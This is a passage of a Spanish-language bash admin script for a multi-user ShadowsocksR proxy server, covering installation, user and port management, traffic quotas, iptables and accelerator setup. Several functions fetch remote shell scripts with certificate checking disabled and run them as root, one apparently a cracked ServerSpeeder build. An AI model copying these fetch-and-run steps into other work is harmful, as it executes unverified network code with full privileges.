[[ ! -e "/usr/bin/unzip" ]] && echo -e "${Error} Dependiente de la instalacion de descomprimir (paquete comprimido) fallo, en su mayoria problema, por favor verifique!" && exit 1 + Check_python + #echo "nameserver 8.8.8.8" > /etc/resolv.conf + #echo "nameserver 8.8.4.4" >> /etc/resolv.conf + cp -f /usr/share/zoneinfo/Asia/Shanghai /etc/localtime + if [[ ${release} == "centos" ]]; then + /etc/init.d/crond restart + else + /etc/init.d/cron restart + fi +} +Install_SSR(){ +clear + check_root + msg -bar + [[ -e ${ssr_folder} ]] && echo -e "${Error}\nLa carpeta ShadowsocksR ha sido creada, por favor verifique\n(si la instalacion falla, desinstalela primero) !\n$(msg -bar)" && exit 1 + echo -e "${Info}\nComience la configuracion de la cuenta de ShadowsocksR..." +msg -bar + Set_user_api_server_pub_addr + Set_config_all + echo -e "${Info} Comience a instalar / configurar las dependencias de ShadowsocksR ..." + Installation_dependency + echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR File ..." + Download_SSR + echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR Service Script(init)..." + Service_SSR + echo -e "${Info} Iniciar descarga / instalar JSNO Parser JQ ..." + JQ_install + echo -e "${Info} Comience a agregar usuario inicial ..." + Add_port_user "install" + echo -e "${Info} Empezar a configurar el firewall de iptables ..." + Set_iptables + echo -e "${Info} Comience a agregar reglas de firewall de iptables ..." + Add_iptables + echo -e "${Info} Comience a guardar las reglas del servidor de seguridad de iptables ..." + Save_iptables + echo -e "${Info} Todos los pasos para iniciar el servicio ShadowsocksR ..." + Start_SSR + Get_User_info "${ssr_port}" + View_User_info + +} +Update_SSR(){ + SSR_installation_status + # echo -e "Debido a que el beb roto actualiza el servidor ShadowsocksR, entonces." + cd ${ssr_folder} + git pull + Restart_SSR + +} +Uninstall_SSR(){ + [[ ! -e ${ssr_folder} ]] && echo -e "${Error} ShadowsocksR no esta instalado, por favor, compruebe!\n$(msg -bar)" && exit 1 + echo "Desinstalar ShadowsocksR [y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn +msg -bar + [[ -z ${unyn} ]] && unyn="n" + if [[ ${unyn} == [Yy] ]]; then + check_pid + [[ ! -z "${PID}" ]] && kill -9 ${PID} + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + if [[ ! -z ${user_info} ]]; then + for((integer = 1; integer <= ${user_total}; integer++)) + do + port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + Del_iptables + done + fi + if [[ ${release} = "centos" ]]; then + chkconfig --del ssrmu + else + update-rc.d -f ssrmu remove + fi + rm -rf ${ssr_folder} && rm -rf /etc/init.d/ssrmu + echo && echo " Desinstalacion de ShadowsocksR completada!" && echo + else + echo && echo "Desinstalar cancelado ..." && echo + fi + +} +Check_Libsodium_ver(){ + echo -e "${Info} Descargando la ultima version de libsodium" + #Libsodiumr_ver=$(wget -qO- "https://github.com/jedisct1/libsodium/tags"|grep "/jedisct1/libsodium/releases/tag/"|head -1|sed -r 's/.*tag\/(.+)\">.*/\1/') + Libsodiumr_ver=1.0.17 + [[ -z ${Libsodiumr_ver} ]] && Libsodiumr_ver=${Libsodiumr_ver_backup} + echo -e "${Info} La ultima version de libsodium es ${Green_font_prefix}${Libsodiumr_ver}${Font_color_suffix} !" +} +Install_Libsodium(){ + if [[ -e ${Libsodiumr_file} ]]; then + echo -e "${Error} libsodium ya instalado, quieres actualizar?[y/N]" + stty erase '^H' && read -p "(Default: n):" yn + [[ -z ${yn} ]] && yn="n" + if [[ ${yn} == [Nn] ]]; then + echo -e "Cancelado...\n$(msg -bar)" && exit 1 + fi + else + echo -e "${Info} libsodium no instalado, instalacion iniciada ..." + fi + Check_Libsodium_ver + if [[ ${release} == "centos" ]]; then + yum -y actualizacion + echo -e "${Info} La instalacion depende de ..." + yum -y groupinstall "Herramientas de desarrollo" + echo -e "${Info} Descargar ..." + wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz" + echo -e "${Info} Descomprimir ..." + tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver} + echo -e "${Info} Compilar e instalar ..." + ./configure --disable-maintainer-mode && make -j2 && make install + echo /usr/local/lib > /etc/ld.so.conf.d/usr_local_lib.conf + else + apt-get update + echo -e "${Info} La instalacion depende de ..." + apt-get install -y build-essential + echo -e "${Info} Descargar ..." + wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz" + echo -e "${Info} Descomprimir ..." + tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver} + echo -e "${Info} Compilar e instalar ..." + ./configure --disable-maintainer-mode && make -j2 && make install + fi + ldconfig + cd .. && rm -rf libsodium-${Libsodiumr_ver}.tar.gz && rm -rf libsodium-${Libsodiumr_ver} + [[ ! -e ${Libsodiumr_file} ]] && echo -e "${Error} libsodium Instalacion fallida!" && exit 1 + echo && echo -e "${Info} libsodium exito de instalacion!" && echo +msg -bar +} +#Mostrar informacin de conexin +debian_View_user_connection_info(){ + format_1=$1 + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1 + IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u |wc -l` + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp6' |grep ":${user_port} " |awk '{print $5}' |awk -F ":" '{print $1}' |sort -u` + if [[ -z ${user_IP_1} ]]; then + user_IP_total="0" + else + user_IP_total=`echo -e "${user_IP_1}"|wc -l` + if [[ ${format_1} == "IP_address" ]]; then + get_IP_address + else + user_IP=`echo -e "\n${user_IP_1}"` + fi + fi + user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n" + user_IP="" + done + echo -e "Numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} Numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix}\n" + echo -e "${user_list_all}" +msg -bar +} +centos_View_user_connection_info(){ + format_1=$1 + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontrado, por favor revise!" && exit 1 + IP_total=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' | grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u |wc -l` + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_IP_1=`netstat -anp |grep 'ESTABLISHED' |grep 'python' |grep 'tcp' |grep ":${user_port} "|grep '::ffff:' |awk '{print $5}' |awk -F ":" '{print $4}' |sort -u` + if [[ -z ${user_IP_1} ]]; then + user_IP_total="0" + else + user_IP_total=`echo -e "${user_IP_1}"|wc -l` + if [[ ${format_1} == "IP_address" ]]; then + get_IP_address + else + user_IP=`echo -e "\n${user_IP_1}"` + fi + fi + user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n" + user_IP="" + done + echo -e "El numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} El numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix} " + echo -e "${user_list_all}" +} +View_user_connection_info(){ +clear + SSR_installation_status + msg -bar + echo -e "Seleccione el formato para mostrar : +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Mostrar IP + + ${Green_font_prefix}2.${Font_color_suffix} Mostrar IP + Resolver el nombre DNS" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 1):" ssr_connection_info +msg -bar + [[ -z "${ssr_connection_info}" ]] && ssr_connection_info="1" + if [[ ${ssr_connection_info} == "1" ]]; then + View_user_connection_info_1 "" + elif [[ ${ssr_connection_info} == "2" ]]; then + echo -e "${Tip} Detectar IP (ipip.net)puede llevar mas tiempo si hay muchas IPs" +msg -bar + View_user_connection_info_1 "IP_address" + else + echo -e "${Error} Ingrese el numero correcto(1-2)" && exit 1 + fi +} +View_user_connection_info_1(){ + format=$1 + if [[ ${release} = "centos" ]]; then + cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null + if [[ $? = 0 ]]; then + debian_View_user_connection_info "$format" + else + centos_View_user_connection_info "$format" + fi + else + debian_View_user_connection_info "$format" + fi +} +get_IP_address(){ + #echo "user_IP_1=${user_IP_1}" + if [[ ! -z ${user_IP_1} ]]; then + #echo "user_IP_total=${user_IP_total}" + for((integer_1 = ${user_IP_total}; integer_1 >= 1; integer_1--)) + do + IP=`echo "${user_IP_1}" |sed -n "$integer_1"p` + #echo "IP=${IP}" + IP_address=`wget -qO- -t1 -T2 http://freeapi.ipip.net/${IP}|sed 's/\"//g;s/,//g;s/\[//g;s/\]//g'` + #echo "IP_address=${IP_address}" + user_IP="${user_IP}\n${IP}(${IP_address})" + #echo "user_IP=${user_IP}" + sleep 1s + done + fi +} +#Modificar la configuracin del usuario +Modify_port(){ +msg -bar + List_port_user + while true + do + echo -e "Por favor ingrese el usuario (Puerto) que tiene que ser modificado" +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_port + [[ -z "${ssr_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + Modify_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${ssr_port}"',') + if [[ ! -z ${Modify_user} ]]; then + break + else + echo -e "${Error} Puerto Introduzca el Puerto correcto!" + fi + done +} +Modify_Config(){ +clear + SSR_installation_status + echo && echo -e " +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Agregar y Configurar Usuario + ${Green_font_prefix}2.${Font_color_suffix} Eliminar la Configuracion del Usuario +————————— Modificar la Configuracion del Usuario ———— + ${Green_font_prefix}3.${Font_color_suffix} Modificar contrasena de Usuario + ${Green_font_prefix}4.${Font_color_suffix} Modificar el metodo de Cifrado + ${Green_font_prefix}5.${Font_color_suffix} Modificar el Protocolo + ${Green_font_prefix}6.${Font_color_suffix} Modificar Ofuscacion + ${Green_font_prefix}7.${Font_color_suffix} Modificar el Limite de Dispositivos + ${Green_font_prefix}8.${Font_color_suffix} Modificar el Limite de Velocidad de un solo Hilo + ${Green_font_prefix}9.${Font_color_suffix} Modificar limite de Velocidad Total del Usuario + ${Green_font_prefix}10.${Font_color_suffix} Modificar el Trafico Total del Usuario + ${Green_font_prefix}11.${Font_color_suffix} Modificar los Puertos Prohibidos Del usuario + ${Green_font_prefix}12.${Font_color_suffix} Modificar la Configuracion Completa +————————— Otras Configuraciones ————————— + ${Green_font_prefix}13.${Font_color_suffix} Modificar la IP o el nombre de dominio que\n se muestra en el perfil del usuario +$(msg -bar) + ${Tip} El nombre de usuario y el puerto del usuario\n no se pueden modificar. Si necesita modificarlos, use\n el script para modificar manualmente la funcion !" +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_modify + [[ -z "${ssr_modify}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + if [[ ${ssr_modify} == "1" ]]; then + Add_port_user + elif [[ ${ssr_modify} == "2" ]]; then + Del_port_user + elif [[ ${ssr_modify} == "3" ]]; then + Modify_port + Set_config_password + Modify_config_password + elif [[ ${ssr_modify} == "4" ]]; then + Modify_port + Set_config_method + Modify_config_method + elif [[ ${ssr_modify} == "5" ]]; then + Modify_port + Set_config_protocol + Modify_config_protocol + elif [[ ${ssr_modify} == "6" ]]; then + Modify_port + Set_config_obfs + Modify_config_obfs + elif [[ ${ssr_modify} == "7" ]]; then + Modify_port + Set_config_protocol_param + Modify_config_protocol_param + elif [[ ${ssr_modify} == "8" ]]; then + Modify_port + Set_config_speed_limit_per_con + Modify_config_speed_limit_per_con + elif [[ ${ssr_modify} == "9" ]]; then + Modify_port + Set_config_speed_limit_per_user + Modify_config_speed_limit_per_user + elif [[ ${ssr_modify} == "10" ]]; then + Modify_port + Set_config_transfer + Modify_config_transfer + elif [[ ${ssr_modify} == "11" ]]; then + Modify_port + Set_config_forbid + Modify_config_forbid + elif [[ ${ssr_modify} == "12" ]]; then + Modify_port + Set_config_all "Modify" + Modify_config_all + elif [[ ${ssr_modify} == "13" ]]; then + Set_user_api_server_pub_addr "Modify" + Modify_user_api_server_pub_addr + else + echo -e "${Error} Ingrese el numero correcto(1-13)" && exit 1 + fi + +} +List_port_user(){ + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontre al usuario, por favor verifica otra vez!" && exit 1 + user_list_all="" + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + user_username=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $2}'|sed 's/\[//g;s/\]//g') + Get_User_transfer "${user_port}" + + user_list_all=${user_list_all}"Nombre de usuario: ${Green_font_prefix} "${user_username}"${Font_color_suffix}\nPort: ${Green_font_prefix}"${user_port}"${Font_color_suffix}\nUso del trafico (Usado + Restante = Total):\n ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix} + ${Green_font_prefix}${transfer_enable_Used}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable}${Font_color_suffix}\n--------------------------------------------\n " + done + echo && echo -e "===== El numero total de usuarios ===== ${Green_background_prefix} "${user_total}" ${Font_color_suffix}\n--------------------------------------------" + echo -e ${user_list_all} +} +Add_port_user(){ +clear + lalal=$1 + if [[ "$lalal" == "install" ]]; then + match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info") + else + while true + do + Set_config_all + match_port=$(python mujson_mgr.py -l|grep -w "port ${ssr_port}$") + [[ ! -z "${match_port}" ]] && echo -e "${Error} El puerto [${ssr_port}] Ya existe, no lo agregue de nuevo !" && exit 1 + match_username=$(python mujson_mgr.py -l|grep -w "Usuario \[${ssr_user}]") + [[ ! -z "${match_username}" ]] && echo -e "${Error} Nombre de usuario [${ssr_user}] Ya existe, no lo agregues de nuevo !" && exit 1 + match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info") + if [[ -z "${match_add}" ]]; then + echo -e "${Error} Usuario no se pudo agregar ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , port: ${ssr_port}]${Font_color_suffix} " + break + else + Add_iptables + Save_iptables + msg -bar + echo -e "${Info} Usuario agregado exitosamente\n ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , Puerto: ${ssr_port}]${Font_color_suffix} " + echo + stty erase '^H' && read -p "Continuar para agregar otro Usuario?[y/n]:" addyn + [[ -z ${addyn} ]] && addyn="y" + if [[ ${addyn} == [Nn] ]]; then + Get_User_info "${ssr_port}" + View_User_info + break + else + echo -e "${Info} Continuar agregando configuracion de usuario ..." + fi + fi + done + fi +} +Del_port_user(){ + + List_port_user + while true + do + msg -bar + echo -e "Por favor ingrese el puerto de usuario para ser eliminado" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" del_user_port + msg -bar + [[ -z "${del_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + del_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${del_user_port}"',') + if [[ ! -z ${del_user} ]]; then + port=${del_user_port} + match_del=$(python mujson_mgr.py -d -p "${del_user_port}"|grep -w "delete user ") + if [[ -z "${match_del}" ]]; then + echo -e "${Error} La eliminación del usuario falló ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} " + else + Del_iptables + Save_iptables + echo -e "${Info} Usuario eliminado exitosamente ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} " + fi + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done + msg -bar +} +Manually_Modify_Config(){ +clear +msg -bar + SSR_installation_status + nano ${config_user_mudb_file} + echo "Si reiniciar ShadowsocksR ahora?[Y/n]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" yn + [[ -z ${yn} ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + Restart_SSR + fi + +} +Clear_transfer(){ +clear +msg -bar + SSR_installation_status + echo -e "Que quieres realizar? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Borrar el trafico de un solo usuario + ${Green_font_prefix}2.${Font_color_suffix} Borrar todo el trafico de usuarios (irreparable) + ${Green_font_prefix}3.${Font_color_suffix} Todo el trafico de usuarios se borra en el inicio + ${Green_font_prefix}4.${Font_color_suffix} Deja de cronometrar todo el trafico de usuarios + ${Green_font_prefix}5.${Font_color_suffix} Modificar la sincronizacion de todo el trafico de usuarios" +msg -bar + stty erase '^H' && read -p "(Predeterminado:Cancelar):" ssr_modify + [[ -z "${ssr_modify}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${ssr_modify} == "1" ]]; then + Clear_transfer_one + elif [[ ${ssr_modify} == "2" ]]; then +msg -bar + echo "Esta seguro de que desea borrar todo el trafico de usuario[y/n]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" yn + [[ -z ${yn} ]] && yn="n" + if [[ ${yn} == [Yy] ]]; then + Clear_transfer_all + else + echo "Cancelar ..." + fi + elif [[ ${ssr_modify} == "3" ]]; then + check_crontab + Set_crontab + Clear_transfer_all_cron_start + elif [[ ${ssr_modify} == "4" ]]; then + check_crontab + Clear_transfer_all_cron_stop + elif [[ ${ssr_modify} == "5" ]]; then + check_crontab + Clear_transfer_all_cron_modify + else + echo -e "${Error} Por favor numero de (1-5)" && exit 1 + fi + +} +Clear_transfer_one(){ + List_port_user + while true + do + msg -bar + echo -e "Por favor ingrese el puerto de usuario para borrar el tráfico usado" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" Clear_transfer_user_port + [[ -z "${Clear_transfer_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + Clear_transfer_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${Clear_transfer_user_port}"',') + if [[ ! -z ${Clear_transfer_user} ]]; then + match_clear=$(python mujson_mgr.py -c -p "${Clear_transfer_user_port}"|grep -w "clear user ") + if [[ -z "${match_clear}" ]]; then + echo -e "${Error} El usuario no ha podido utilizar la compensación de tráfico ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} " + else + echo -e "${Info} El usuario ha eliminado con éxito el tráfico utilizando cero. ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} " + fi + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done +} +Clear_transfer_all(){ +clear + cd "${ssr_folder}" + user_info=$(python mujson_mgr.py -l) + user_total=$(echo "${user_info}"|wc -l) + [[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1 + for((integer = 1; integer <= ${user_total}; integer++)) + do + user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}') + match_clear=$(python mujson_mgr.py -c -p "${user_port}"|grep -w "clear user ") + if [[ -z "${match_clear}" ]]; then + echo -e "${Error} El usuario ha utilizado el trafico borrado fallido ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} " + else + echo -e "${Info} El usuario ha utilizado el trafico para borrar con exito ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} " + fi + done + echo -e "${Info} Se borra todo el trafico de usuarios!" +} +Clear_transfer_all_cron_start(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh/d" "$file/crontab.bak" + echo -e "\n${Crontab_time} /bin/bash $file/ssrmu.sh clearall" >> "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh") + if [[ -z ${cron_config} ]]; then + echo -e "${Error} Temporizacion de todo el trafico de usuarios borrado. !" && exit 1 + else + echo -e "${Info} Programacion de todos los tiempos de inicio claro exitosos!" + fi +} +Clear_transfer_all_cron_stop(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh/d" "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh") + if [[ ! -z ${cron_config} ]]; then + echo -e "${Error} Temporizado Todo el trafico de usuarios se ha borrado Parado fallido!" && exit 1 + else + echo -e "${Info} Timing All Clear Stop Stop Successful!!" + fi +} +Clear_transfer_all_cron_modify(){ + Set_crontab + Clear_transfer_all_cron_stop + Clear_transfer_all_cron_start +} +Set_crontab(){ +clear + + echo -e "Por favor ingrese el intervalo de tiempo de flujo + === Formato === + * * * * * Mes * * * * * + ${Green_font_prefix} 0 2 1 * * ${Font_color_suffix} Representante 1er, 2:00, claro, trafico usado. +$(msg -bar) + ${Green_font_prefix} 0 2 15 * * ${Font_color_suffix} Representativo El 1 2} representa el 15 2:00 minutos Punto de flujo usado despejado 0 minutos Borrar flujo usado +$(msg -bar) + ${Green_font_prefix} 0 2 */7 * * ${Font_color_suffix} Representante 7 dias 2: 0 minutos despeja el trafico usado. +$(msg -bar) + ${Green_font_prefix} 0 2 * * 0 ${Font_color_suffix} Representa todos los domingos (7) para despejar el trafico utilizado. +$(msg -bar) + ${Green_font_prefix} 0 2 * * 3 ${Font_color_suffix} Representante (3) Flujo de trafico usado despejado" +msg -bar + stty erase '^H' && read -p "(Default: 0 2 1 * * 1 de cada mes 2:00):" Crontab_time + [[ -z "${Crontab_time}" ]] && Crontab_time="0 2 1 * *" +} +Start_SSR(){ +clear + SSR_installation_status + check_pid + [[ ! -z ${PID} ]] && echo -e "${Error} ShadowsocksR se esta ejecutando!" && exit 1 + /etc/init.d/ssrmu start + +} +Stop_SSR(){ +clear + SSR_installation_status + check_pid + [[ -z ${PID} ]] && echo -e "${Error} ShadowsocksR no esta funcionando!" && exit 1 + /etc/init.d/ssrmu stop + +} +Restart_SSR(){ +clear + SSR_installation_status + check_pid + [[ ! -z ${PID} ]] && /etc/init.d/ssrmu stop + /etc/init.d/ssrmu start + +} +View_Log(){ + SSR_installation_status + [[ ! -e ${ssr_log_file} ]] && echo -e "${Error} El registro de ShadowsocksR no existe!" && exit 1 + echo && echo -e "${Tip} Presione ${Red_font_prefix}Ctrl+C ${Font_color_suffix} Registro de registro de terminacion" && echo + tail -f ${ssr_log_file} + +} +#Afilado +Configure_Server_Speeder(){ +clear +msg -bar + echo && echo -e "Que vas a hacer +${BARRA1} + ${Green_font_prefix}1.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}2.${Font_color_suffix} Velocidad aguda +———————— + ${Green_font_prefix}3.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}4.${Font_color_suffix} Velocidad aguda +$(msg -bar) + ${Green_font_prefix}5.${Font_color_suffix} Reinicie la velocidad aguda +$(msg -bar) + ${Green_font_prefix}6.${Font_color_suffix} Estado agudo + $(msg -bar) + Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo" +msg -bar + stty erase '^H' && read -p "(Predeterminado: Cancelar):" server_speeder_num + [[ -z "${server_speeder_num}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${server_speeder_num} == "1" ]]; then + Install_ServerSpeeder + elif [[ ${server_speeder_num} == "2" ]]; then + Server_Speeder_installation_status + Uninstall_ServerSpeeder + elif [[ ${server_speeder_num} == "3" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} start + ${Server_Speeder_file} status + elif [[ ${server_speeder_num} == "4" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} stop + elif [[ ${server_speeder_num} == "5" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} restart + ${Server_Speeder_file} status + elif [[ ${server_speeder_num} == "6" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} status + else + echo -e "${Error} Por favor numero(1-6)" && exit 1 + fi +} +Install_ServerSpeeder(){ + [[ -e ${Server_Speeder_file} ]] && echo -e "${Error} Server Speeder esta instalado!" && exit 1 + #Prestamo de la version feliz de 91yun.rog + wget --no-check-certificate -qO /tmp/serverspeeder.sh https://raw.githubusercontent.com/91yun/serverspeeder/master/serverspeeder.sh + [[ ! -e "/tmp/serverspeeder.sh" ]] && echo -e "${Error} Prestamo de la version feliz de 91yun.rog!" && exit 1 + bash /tmp/serverspeeder.sh + sleep 2s + PID=`ps -ef |grep -v grep |grep "serverspeeder" |awk '{print $2}'` + if [[ ! -z ${PID} ]]; then + rm -rf /tmp/serverspeeder.sh + rm -rf /tmp/91yunserverspeeder + rm -rf /tmp/91yunserverspeeder.tar.gz + echo -e "${Info} La instalacion del servidor Speeder esta completa!" && exit 1 + else + echo -e "${Error} Fallo la instalacion de Server Speeder!" && exit 1 + fi +} +Uninstall_ServerSpeeder(){ +clear +msg -bar + echo "yes para desinstalar Speed ??Speed ??(Server Speeder)[y/N]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn + [[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1 + if [[ ${unyn} == [Yy] ]]; then + chattr -i /serverspeeder/etc/apx* + /serverspeeder/bin/serverSpeeder.sh uninstall -f + echo && echo "Server Speeder Desinstalacion completa!" && echo + fi +} +# LotServer +Configure_LotServer(){ +clear +msg -bar + echo && echo -e "Que vas a hacer? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar LotServer +$(msg -bar) + ${Green_font_prefix}2.${Font_color_suffix} Desinstalar LotServer +———————— + ${Green_font_prefix}3.${Font_color_suffix} Iniciar LotServer +$(msg -bar) + ${Green_font_prefix}4.${Font_color_suffix} Detener LotServer +$(msg -bar) + ${Green_font_prefix}5.${Font_color_suffix} Reiniciar LotServer +$(msg -bar) + ${Green_font_prefix}6.${Font_color_suffix} Ver el estado de LotServer +${BARRA1} + + Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo" +msg -bar + + stty erase '^H' && read -p "(Predeterminado: Cancelar):" lotserver_num + [[ -z "${lotserver_num}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${lotserver_num} == "1" ]]; then + Install_LotServer + elif [[ ${lotserver_num} == "2" ]]; then + LotServer_installation_status + Uninstall_LotServer + elif [[ ${lotserver_num} == "3" ]]; then + LotServer_installation_status + ${LotServer_file} start + ${LotServer_file} status + elif [[ ${lotserver_num} == "4" ]]; then + LotServer_installation_status + ${LotServer_file} stop + elif [[ ${lotserver_num} == "5" ]]; then + LotServer_installation_status + ${LotServer_file} restart + ${LotServer_file} status + elif [[ ${lotserver_num} == "6" ]]; then + LotServer_installation_status + ${LotServer_file} status + else + echo -e "${Error} Por favor numero(1-6)" && exit 1 + fi +} +Install_LotServer(){ + [[ -e ${LotServer_file} ]] && echo -e "${Error} LotServer esta instalado!" && exit 1 + #Github: https://github.com/0oVicero0/serverSpeeder_Install + wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" + [[ ! -e "/tmp/appex.sh" ]] && echo -e "${Error} Fallo la descarga del script de instalacion de LotServer!" && exit 1 + bash /tmp/appex.sh 'install' + sleep 2s + PID=`ps -ef |grep -v grep |grep "appex" |awk '{print $2}'` + if [[ ! -z ${PID} ]]; then + echo -e "${Info} La instalacion de LotServer esta completa!" && exit 1 + else + echo -e "${Error} Fallo la instalacion de LotServer!" && exit 1 + fi +} +Uninstall_LotServer(){ +clear +msg -bar + echo "Desinstalar Para desinstalar LotServer[y/N]" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" unyn +msg -bar + [[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1 + if [[ ${unyn} == [Yy] ]]; then + wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" && bash /tmp/appex.sh 'uninstall' + echo && echo "La desinstalacion de LotServer esta completa!" && echo + fi +} +# BBR +Configure_BBR(){ +clear +msg -bar + echo -e " Que vas a hacer? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar BBR +———————— +${Green_font_prefix}2.${Font_color_suffix} Iniciar BBR +${Green_font_prefix}3.${Font_color_suffix} Dejar de BBR +${Green_font_prefix}4.${Font_color_suffix} Ver el estado de BBR" +msg -bar +echo -e "${Green_font_prefix} [Por favor, preste atencion antes de la instalacion] ${Font_color_suffix} +$(msg -bar) +1. Abra BBR, reemplace, hay un error de reemplazo (despues de reiniciar) +2. Este script solo es compatible con los nucleos de reemplazo de Debian / 